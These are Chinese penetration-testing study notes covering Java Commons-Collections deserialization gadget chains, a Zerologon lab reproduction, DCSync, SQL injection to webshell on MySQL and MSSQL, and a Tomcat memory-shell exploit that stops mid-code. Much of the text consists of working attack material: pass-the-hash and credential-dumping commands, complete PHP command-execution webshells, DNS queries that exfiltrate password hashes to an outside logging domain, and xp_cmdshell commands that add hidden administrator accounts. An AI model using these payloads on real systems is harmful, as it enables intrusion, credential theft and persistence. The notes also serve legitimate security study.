图来自 https://www.anquanke.com/member.html?memberId=149714 师傅的文章,跟着重新复习了几条常见 CC 链,同时捋了一下 java 反序列化 gadget 链的挖掘思路。

  • 挖掘思路


    一般从可执行命令的地方开始(任意代码执行/动态加载字节类),一步一步往上找,直到进到一个能反序列化类的 readObject 方法。
  • CC1


    t012f7027c5f2e5990b
    执行命令的部分来自 ChainedTransformer 的执行链,其中 InvokerTransformer 可以执行任意类的任意方法,然后利用 ChainedTransformer 把 InvokerTransformer 串起了,达到任意命令执行的效果。
    下一步就是找一个 可控类.transform()(触发命令执行),这里用的是 LazyMap.decorate 方法,第二个参数接受一个 Transformer(ChainedTransformer的父类),在 LazyMap 的 get 方法中触发了命令的执行:
    public Object get(Object key) {
            if (!super.map.containsKey(key)) {
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    

    接着就是找 可控类.get ,在 AnnotationInvocationHandler invoke方法中找到了可以用的方法
     Object var6 = this.memberValues.get(var4);
    

    关于 invoke 方法的调用,就可以用 AnnotationInvocationHandler 的代理来触发,代理成功之后在调用原来类方法的时候,首先会调用 InvocationHandler实现类(也就是 AnnotationInvocationHandler)的 invoke 方法。所以最后只要把 memberValues 设置为代理类,在 AnnotationInvocationHandler.readObject 中调用了 entrySet 方法时就会触发 invoke 方法。
  • CC2


    cc2 依赖的时 commons-collections4.0,和 CC1 几乎是完全不同的思路。
    t019438ead74d456810
    CC2 中触发了命令利用了 TemplatesImpl 动态加载字节码
    image-20220223103137275
    其中要将字节码以二维数组的形式存储在 _bytecodes 中,字节码的生成可以直接读一个 class 文件或者用 Javassist 修改,注意要继承抽象类 AbstractTranslet
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    

    调用 Templateslmpl 也可以用 InvokerTransformer 来完成,那么下一步还是要找 可控类.transform(),CC2 中用的是 TransformingComparator.compare 方法,
        public int compare(I obj1, I obj2) {
            O value1 = this.transformer.transform(obj1);
            O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    

    接着在 PriorityQueue 中找到了 siftDownUsingComparator 方法可以调用 compare 方法,参数存放在 queue 中(这一部分其实是一个二叉堆的实现),在 siftDown 中找到了调用,
        private void siftDown(int k, E x) {
            if (comparator != null)
                siftDownUsingComparator(k, x);
            else
                siftDownComparable(k, x);
        }
    

    下一步可以在 heapify 中找到 siftDown 的调用,在 readObject 中调用 heapify,链子这就串起来了。
  • CC3


    如果前两条链都用 Find Usage 方式找调用的方法,就会发现还有很多可以用的方式。
    t01181aaf1ddb8ae282
    CC3 和 CC2 主要的区别是调用加载字节码的方式不同,InvokerTransformer 类调用任意对象的任意方法(调用的templates中的newTransformer方法)在 commons-collections:4.4 中被修补,CC3 利用了 TraXFilter,同样是调用 templates中的newTransformer方法实现字节码的加载。
        public TrAXFilter(Templates templates)  throws
            TransformerConfigurationException
        {
            _templates = templates;
            _transformer = (TransformerImpl) templates.newTransformer();
            _transformerHandler = new TransformerHandlerImpl(_transformer);
            _overrideDefaultParser = _transformer.overrideDefaultParser();
        }
    

    如何触发 TrAXFilter 的构造方法有两种思路,第一种是利用 CC1 中 ChainedTransformer 执行链可以执行任意类的任意方法这一特点,直接调用 TrAXFilter 中的 templates 中的 newTransformer,剩下的部分就和 CC1 一样了(相当于修改了 CC1 命令执行的方式)。
    第二种方式引入了新的 InstantiateTransformer 类,用其中的 transform 方法,
    image-20220223112713411
    transform 方法调用时会反射执行其传递的参数 class 类的有参构造函数,就可以触发TrAXFilter 的构造方法。至于如何调用 InstantiateTransformer 的 transform 方法也是通过 CC1 的前半段完成的。
  • CC4


    cc2 的前半段 + cc3 的后半段
    t01e85b30f42ab156c7
  • CC5


    执行命令部分用的 CC1 后半段,在触发方式上做了修改
    t0131f14bdb6104db76
    在 LazyMap 中的 getValue 会调用 get 方法,在 TiedMapEntry 的 toString 中发现了 getValue
    public String toString() {
            return this.getKey() + "=" + this.getValue();
        }
    

    然后就是要找一个 可控类.toString 方法,CC5 用的是 BadAttributeValueExpException 的 readObject,刚好也可以触发反序列化。
    image-20220223121510425
    其中的 valObj 也是可以通过反射被我们控制的。
  • CC6


    和 CC5 的后半段一样,不过是用 TiedMapEntry 中的 hashCode 调用的Lazymap 的 getValue 方法
    t0117e939ee71ef5422
        public int hashCode() {
            Object value = this.getValue();
            return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
        }
    

    这里是通过 HashMap 中的 hash 调用的 key.hashCode,在 put 中调用 hash
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    

        public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
        }
    

    然后就是要找 可控类.put 方法,正好在 HashSet 的 readObject 中就可以直接调用。
            for (int i=0; i<size; i++) {
                @SuppressWarnings("unchecked")
                    E e = (E) s.readObject();
                map.put(e, PRESENT);
            }
    

    其中的 s 就是传入的字节流。
  • CC7


    后半段还是 CC1 不变,又换了中方式调用 LazyMap.get
    t010cf1e49b1a3d5af4
    在 AbstractMap 中 equals 方法中可以找到可控的 get 方法,
    image-20220223124353975
    再找一个调用 equals 方法的位置,用了 Hashtable 中的 reconstitutionPut 方法,而 reconstitutionPut 就在 Hashtable 的 readObject 中调用,也就完成了反序列的链接。
  • 参考文献


 

  • 漏洞复现


    靶机用的 vulnstack2 的 DC,攻击机 kali,设置同一网段。
    工具:https://github.com/dirkjanm/CVE-2020-1472
    python3 cve-2020-1472-exploit.py DC 192.168.157.135  (域控密码置空)
    空 hash 为:31d6cfe0d16ae931b73c59d7e0c089c0
    

    机器用户不能直接登录,但域控的机器用户具备 Dcsync 特权,可以滥用该特权进行 Dcsync。
    (见补充)
    然后使用 impacket 中的 secretsdump 导出用户所有凭据
    python secretsdump.py de1ay.com/DC\$@192.168.157.135 -no-pass
    

    image-20220208224705070
    DC的密码已被置空,同时拿到了 administrator 的 hash,可利用这个拿下域控
    python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3b24c391862f4a8531a245a0217708c4 Administrator@192.168.157.135
    

    image-20220208224953006
    因为密码置空后,用户在 AD 中的密码(ntds.dic)与本地的注册表 /lsass 里面的密码不一致,会脱离域控,所以要将其恢复。有三种方法。
    • 从注册表/lsass里面读取机器用户原先的密码,恢复AD里面的密码

      shell 中执行
      reg save HKLM\SYSTEM system.save
      reg save HKLM\SAM sam.save
      reg save HKLM\SECURITY security.save
      get system.save
      get sam.save
      get security.save
      del /f system.save
      del /f sam.save
      del /f security.save
      

      利用 secretsdump 提取密码
      python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
      

      最后用 restorepassword.py 恢复就行了
      python3 restorepassword.py de1ay.com/DC@192.168.157.135 -target-ip 192.168.157.135 -hexpass 6fe0c5167f01d42217a8f7836947654eb7884222fda599f3c96ab98ca48632e699f888b7191559582a5a1d61c6ab1d0ee3415a41580d802efe1b546453a647675ca1706f86f6e9bbd17469ffe4cda5abb86a1f9f91651959a7662aad2f2695cd71ba46ebd5708ae5c447ac81f0154b09bf1e7cfa9a5dd3fe99160101ef487c829481d126cfaa48d8b753df22f20c8717762a0eae4d0149c7069397bbe956a400e7fe4b956aa7185761cf8ec4e2cfe7e6f15bba48469ba9052b284fb1f5997bf22e34727cb180d82007198468386a25d61e0f129d78b7327b009cf8db733276f76ab5c1749b33bc2b6592f43f2a846970
      
    • 从 ntds.dict 中读密码然后恢复 AD 中的密码

      python secretsdump.py de1ay.com/DC\$@192.168.157.135 -dc-ip 192.168.157.135 -just-dc-user de1ay\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0 -history
      
    • 一次性重置计算机的机器账户密码(包括AD,注册表,lsass 里面的密码)

      powershell Reset-ComputerMachinePassword
      
  • 漏洞分析


    • 加密过程中的问题:

      netlogon 用于对域中用户和其他服务进行身份验证,使用 RPC协议 MS-NRPC 通讯。
      机器用户访问 RPC 函数之前会里利用本身的 hash 进行校验,使用了 AES_CFB8 加密方式,
      t0134ae7013f4c14efa
      而当 IV 的 8 字节都是 0 的时候(IV=000000000000000000000000000000),如果使每一轮的明文内容和参加 AES 运算的上一轮密文的前 8 位相同,就可以保证每一轮加密后的密文是00,最后得到的密文也就是 000000000000000000000000000000。
      在 key 固定的情况下,参加 AEC运算的上一轮密文的前 8 位是固定的,而每一轮的明文和参加 AES 运算的上一轮密文的前 8 位一样,那么要求每一轮的明文内容必须一样,所以明文就是 abababab 这种格式。
      最后要解决的就是确保第一轮(加密 IV) 的结果的前 8 位和明文前 8 位相同就可以了。只需要 2 的 8 次方次就可,也就是说即使不知道 key通过反复运行多次就能撞到我们想要的条件了。
    • netlogon 认证协议绕过

      t018b7c797053d32722
      计算 ClientChallenge 使用 ComputeNetlogonCredential 函数,通过协商 flag 来选择是用 DES_ECB 还是 AES_CFB 加密。
      所以可以重复向 Server 发送一个 ClientChanllenge(满足 ababab 格式),直到出现一个 session_key,使得服务端生成的 ClientCredential 也为00000000000000。
      这里默认还会增加签名校验(通过 session_key)加密,但我们的 session_key 为 0000000000000000 无法生成签名,所以要取消对应标志位来关闭这个选项。
    • 重置密码漏洞:

      在认证绕过后,就可以调用任意 RPC 函数了,作者最后选择了 NetrServerPasswordSet2,大致原因就是调用之前需要经过认证,而认证部分的参数我门可控(通过 ClientChallenge),也就是能绕过了。
  • 补充1:Dcsync 攻击


    域内的不同 DC 之间,每 15min 都会有一次域数据同步,DC 会发送一个 GetNCChanges 请求给另一个 DC,请求的数据需要同步的数据,那么如果有一个 Dcsync 权限的用户就可以模仿成一个域控,向真实域控请求数据。
    有 Dcsync 权限的用户:
    • Administrators组内的用户
    • Domain Admins组内的用户
    • Enterprise Admins组内的用户
    • 域控制器的计算机帐户

    即:默认情况下域管理员组具有该权限
    可通过 mimikatz 实现
    mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
    

    或者 powershell,工具 powerview + https://gist.github.com/monoxgas/9d238accd969550136db
     Import-Module .\powerview.ps1
    Get-ObjectAcl -DistinguishedName "dc=1ight,dc=top" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} (查找域内拥有复制或更改目录权限的用户)
    Add-ObjectAcl -TargetDistinguishedName "dc=1ight,dc=top" -PrincipalSamAccountName username -Rights DCSync -Verbose    (授予任何用户DCsync权限)
    Invoke-DCSync -DumpForest | ft -wrap -autosize  (导出域内所有用户的 hash)
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -a (导出 administrator账户的 hash)
    
  • 补充2:DCShadow 攻击


    具备域管理员权限条件下,攻击者可以创建伪造的域控制器,将预先设定的对象或对象属性复制到正在运行域服务器中。
    攻击流程:
    1. 在目标域的 AD 活动目录注册一个伪造的 DC 中;
    2. 使伪造的 DC 被其他的 DC 认可,能够参与域复制 ;
    3. 强制触发域复制,将指定的新对象或修改后的对象属性同步复制到其他 DC 中;

     
  • 参考文献:


  • MySQL 注入写 shell


    • sqlmap --os-shell原理

      两部分构成,先写一个文件上传的接口
      <?php
      if (isset($_REQUEST["upload"]))
          {$dir=$_REQUEST["uploadDir"];
          if (phpversion()<'4.1.0')
              {
              $file=$HTTP_POST_FILES["file"]["name"];
              @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          else
              {
                  $file=$_FILES["file"]["name"];
                  @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          @chmod($dir."/".$file,0755);
          echo "File uploaded";}
      else {
          echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy\\PHPTutorial\\WWW\\> <input type=submit name=upload value=upload></form>";
          }
      ?>
      

      然后尝试一下是否能访问,找到后就可以传马
      <?php 
      $c=$_REQUEST["cmd"];
      @set_time_limit(0);
      @ignore_user_abort(1);
      @ini_set("max_execution_time",0);
      $z=@ini_get("disable_functions");
      if(!empty($z)){
          $z=preg_replace("/[, ]+/",',',$z);
          $z=explode(',',$z);$z=array_map("trim",$z);
      }else{$z=array();}
      $c=$c." 2>&1\n";
      function f($n){
          global $z;
          return is_callable($n)and!in_array($n,$z);
      }
      if(f("system")){
          ob_start();system($c);
          $w=ob_get_clean();
      }
      elseif(f("proc_open")){
          $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
          $w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);
      }
          @proc_close($y);}
      elseif(f("shell_exec")){
          $w=shell_exec($c);
      }
      elseif(f("passthru")){
          ob_start();
          passthru($c);
          $w=ob_get_clean();
      }
      elseif(f("popen")){
          $x=popen($c,r);
          $w=NULL;
          if(is_resource($x)){
              while(!feof($x)){
                  $w.=fread($x,512);
                  }
          }
          @pclose($x);
      }
      elseif(f("exec")){
          $w=array();
          exec($c,$w);
          $w=join(chr(10),$w).chr(10);
      }else{$w=0;}
      echo"<pre>$w</pre>";?>
      
    • sql 注入写 shell

      前提条件:
      1.知道绝对路径(猜+爆破)
      2.远程目录有写权限
      3.数据库开启secure_file_priv
      4.mysql连接用户有FILE权限/ROOT用户/ROOT权限
      

      其中
      在 MySQL 5.5 之前 secure_file_priv 默认为空
      在 MySQL 5.5 之后 secure_file_priv 默认为NULL
      

      secure_file_priv效果
      NULL不允许导入导出
      可以读写,但是不能动态更改
      指定文件夹MySQL的导入导出只能发生在指定文件夹

      默认情况下写不进去。。。
    • 慢日志写shell

      查询时间超过慢日志要求查询时间的查询都会存入慢日志,如果把日志的查询路径改成木马文件,就可以使用恶意查询语句。
      规避了 secure_file_priv 的限制,但要去 mysql 连接用户有权限开启日志记录和更换日志路径
      # 1.查看当前慢查询日志目录
      show variables like "%slow%";
      # 2.开启慢查询日志的功能
      set global slow_query_log=on
      # 3.重新设置日志路径,注意设置为网站的绝对路径
      set global slow_query_log_file="指定的路径"   # 将日志路径设置为网站路径WWW下
      # 4.设置慢查询时间(构造查询大于慢日志纪录的时间)
      set global slow_launch_time=X   # X>original_slow_launch_time   # 有时候网络延迟,也会大于原来设置的时间,会记录不必要的信息,而设置大于原来时间或者及以上则可以排出这种干扰
      # 5.执行SQL语句,写webshell进日志文件
      select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);  
      
    • 堆叠注入写 shell

      通常 sql 注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库
      MySQL中如果用的是mysqli pdo处理的话,有的可以堆叠,mssql+aspx是原生堆叠,Oracle要看代码层面是怎么写。
       MysqliPDOMySQL
      引入的PHP版本5.05.03.0之前
      PHP5.x是否包含
      服务端prepare语句的支持情况
      客户端prepare语句的支持情况
      存储过程支持情况
      多语句执行支持情况大多数
  • MySQL 注入读文件


    也是基于有路径的前提下,
    load_file() :读取指定文件(受 secure_file_priv 限制)
    load data infile 和 load data local infile,不受 secure-file-priv 的限制,但是需要堆叠。
    

    两者的不同:
    如果你没有给出local,则服务器按如下方法对其进行定位:
    1)如果你的filename为绝对路径,则服务器从根目录开始查找该文件.
    2)如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件.
    
    如果你给出了local,则文件将按以下方式进行定位:
    1)如果你的filename为绝对路径,则客户机从根目录开始查找该文件.
    2)如果你的filename为相对路径,则客户机从当前目录开始查找该文件.
    

    其中,load data local infile 的权限要看连接 mysql 服务器的客户端,任意读取客户端文件的原理就是执行了:
    load data local infile "/etc/passwd" into table test
    

    如果客户端是通过的mysql 客户端 对应的权限就是 mysq l的 如果是 php 的扩展可能就是 apache 的。
  • order by 注入


    首先要说一下这个技术存在的意义,目前主流防 sql 注入都是用参数化的方法(预编译),但是 order by 后面不能参数化,也很容易存在注入点(比如排序功能的位置)。本质原因是一方面预编译又只有自动加引号的 setString() 方法,没有不加引号的方法;而另一方面 order by后接的字段名不能有引号。那么进一步扩展一下:不只 order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名。
    注入方式:
    报错注入:
    /?order=IF(1=2,1,(select+1+from+information_schema.tables))
    /?order=(select+1+regexp+if(1=2,1,0x00)
    /?order=updatexml(1,if(1=2,1,user()),1)
    /?order=extractvalue(1,if(1=2,1,user()))
    盲注:
    /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
    查询:
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))
    
  • 配合 Dnslog


    在无法直接利用漏洞获得回显的情况下,通过发起 DNS 请求外带数据。提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生 DNS 查询,我们只要能获得 DNS 的日志,就得到了想要的值
    mysql:
    http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) 
    FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
    

    load_file 在 linux 下无法用 dnslog 攻击,因为 linux 中没有 UNC 路径 (\\)
    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
    

    mssql:
    http://127.0.0.1/mssql.php?id=1;
    DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
    FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
    EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
    

    postgresql:
    http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
       EXECUTE exec_cmd;
    END;
    $$ LANGUAGE plpgSQL SECURITY DEFINER;
    SELECT temp_function();
    

    或者用 db_link 扩展(但默认不开启)
    http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink; 
    SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb', 
    'SELECT version()') RETURNS (result TEXT);
    

    oracle:
    利用方式很多了:
    UTL_HTTP.REQUEST:
    select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
    DBMS_LDAP.INIT:
    select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
    HTTPURITYPE:
    select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
    
  • MSSQL 注入


    • 判断是否是 MSSQL

      报错:
      asp?id=49 and user>0
      系统表回显:(IIS 报错关闭)
      asp?id=49 and (select count() from sysobjects)>0
      asp?id=49 and (select count() from msysobjects)>0
      (如果第一条返回页面与原页面相同,第二条与原页面不同,几乎可以确定是MSSQL,否则便是Access)
      
    • 权限判断

      and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
      and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
      and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
      ;declae @d int //判断MsSQL支持多行语句查询
      and user>0 //获取当前数据库用户名
      and db_name()>0 //获取当前数据库名称
      and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
      and 1=(select @@servername) //本地服务名
      and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
      
    • 查询语句

      查库
      and 1=(select top 1 name from master..sysdatabases where dbid>4) //(>4 获取系统库 <4 获取用户库)
      and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘1’) //查询下一个数据库
      查表
      ?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ )
      列名
      ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ )
      拿数据
      ?id=1 and 1=(select top 1 uname from users)
      
    • 绕过
      引入一个 declare 函数,可以声明局部变量。declare 定义变量,set 设置变量值,exec 执行变量
      select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
      

      其中变量值可以进行 hex 或 ascii 编码,可以用这个特性绕过引号过滤
      select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
      
      select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
      
  • MSSQL 注入拿 shell


    ( xp_cmdshell 在 SQLServer 2005 后默认设置为关闭,但对于 SA 权限的用户来说都可以恢复)
    存在堆叠注入的条件下用 xp_cmdshell 写 shell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    

    然后直接可以执行命令
    EXEC master..xp_cmdshell’免杀powershell命令’
    

    如果 xp_cmdshell 被禁用的代替方法:
    恢复 sp_oacreate,并执行命令:
    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'Ole Automation Procedures', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'show advanced options', 0;
    

    执行系统命令,没有回显,比如可以添加一个影子用户并加入管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
    

    调用 cmd 执行命令
    wscript.shell 执行命令
    
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
    
    
    Shell.Application 执行命令
    
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
    

    删除或恢复 sp_addextendedproc
    / 删除 /
    drop procedure sp_addextendproc
    drop procedure sp_oacreate
    exec sp_addextendedproc
    / 恢复 /
    dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
    dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
    

    恢复 sp_oacreate 和 xp_cmdshell
    exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
    

    如果这两个函数都不能执行(存在杀软),可以尝试备份写 shell,但再设置目录权限后可能就不行了。在拿shell之前首先要找一波路径,大致思路:
    1.报错寻找
    2.字典
    3.旁站信息收集
    4.调用储存过程来搜索
    5.读配置文件
    

    其中,可以用 xp_cmdshellxp_dirtreexp_dirtreexp_subdirs 等函数找网站根目录(调用储存过程来搜索)
    execute master..xp_dirtree 'c:'       //列出所有 c:\ 文件和目录,子目录 
    execute master..xp_dirtree 'c:',1     //只列 c:\ 文件夹 
    execute master..xp_dirtree 'c:',1,1   //列 c:\ 文件夹加文件 
    

    如果没有回显的话可以插入一个临时的表:
    id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
    id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
    

    log备份写 shell

    • 前提条件:
      1.数据库存在注入
      2.用户具有读写权限,一般至少DBO权限
      3.有网站的具体路径
      4.站库不分离
      
    • 操作步骤:
      1.修改数据库为还原模式(恢复模式):
      ;alter database 库名 set RECOVERY FULL –-
      2.建表和字段
      ;create table moonflower(a image)--
      3.备份数据库
      ;backup log 数据库名 to disk = ‘c:\www\moonflower.bak’ with init –
      4.往表中写入一句话
      ;insert into orange(a) values (0x...)--    //值要进行hex进制转换下
      5.利用log备份到web的物理路径
      ;backup log 数据库名 to disk = 'c:\www\moonflower.php' with init--
      6.删除表
      ;Drop table moonflower--
      

    差异备份写shell
    第二次备份的时候会和上次备份的做对比,把不同的内容备份,所以只要插入一句话木马再备份,木马就会被写到数据库中。
    • 前提条件:
      1.有网站具体路径
      2.有可写权限(dbo权限以上)
      3.站库不分离
      
    • 步骤:
      1.备份数据库
      ;backup database 数据库名 to disk = 'C:\www\\...' with init --
      2.创建表格
      %';create table moonflower(a image) --
      3.写入webshell
      %';insert into orange(a) values (0xxxxx) --
      4.进行差异备份
      %';backup log 数据库名 to disk = 'C:\www\moonflower.asp'  WITH DIFFERENTIAL,FORMAT;--
      5.删除表
      ;Drop table moonflower--
      

     
  • 参考文献


  • 真正的内存马


    之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
    但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
    其实主要要解决的问题就是如何获取 request 和 response 对象。
    目前主流的回显技术(部分)主要有:
    • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
      限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干
    • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
      限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
    • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
      限制:会导致http包超长,但相对比较通用。
  • 通过ThreadLocal Response回显


    大致思路是找一个存储 request 和 response 的变量,而且这个的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例。最后 kingkk 师傅是找到了 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequest 和 lastServicedResponse
    image-20220216130544132
    通过 set 方法将 requet 和 response 放在这两个变量中,其中的判断条件都可以通过反射进行修改(具体步骤见 demo)
    image-20220216125714318
    内存马实现回显大致思路就是两次访问:
    • 第一次把 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
    • 第二次将其取出,从而将结果写入 response 中从而达到回显目的

    image-20220216142143011
    后续三梦师傅提出了改进策略,通过动态注册一个Filter,并且把其放到最前面,这部分主要需要两个步骤:
    • 先能获取 request 和 response
  • 然后通过 request 或 response 动态注册 Filter
    环境搭建:

    参考木头师傅的 demo
    @WebServlet("/cc")
    public class CCServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream inputStream = (InputStream) req;
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream inputStream = req.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    }
    

    添加 pom.xml
          <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.1</version>
    

    漏洞利用:

    第一步是存入 request 和 response,大致思路就是利用反射完成 lastServicedRequest 和 lastServicedResponse 的初始化,其中 WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse 为 static final 变量,且 lastServicedRequest、lastServicedResponse 是私有变量,因此需要 modifiersField 的处理将 FINAL 属性取消掉。
    具体实现步骤为:
    1. 反射把 WRAP_SAME_OBJECT 修改为 true
  1. 反射初始化 lastServicedResponse 变量为 ThreadLocal
  2. 反射从 lastServicedResponse 中获取 tomcat Response(在之后的步骤中实现)
package cc;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  
  import java.lang.reflect.Modifier;
  
  public class TomcatEcho extends AbstractTranslet {
  
      static {
          try {
              // 修改 WRAP_SAME_OBJECT 值为 true
              Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
              java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
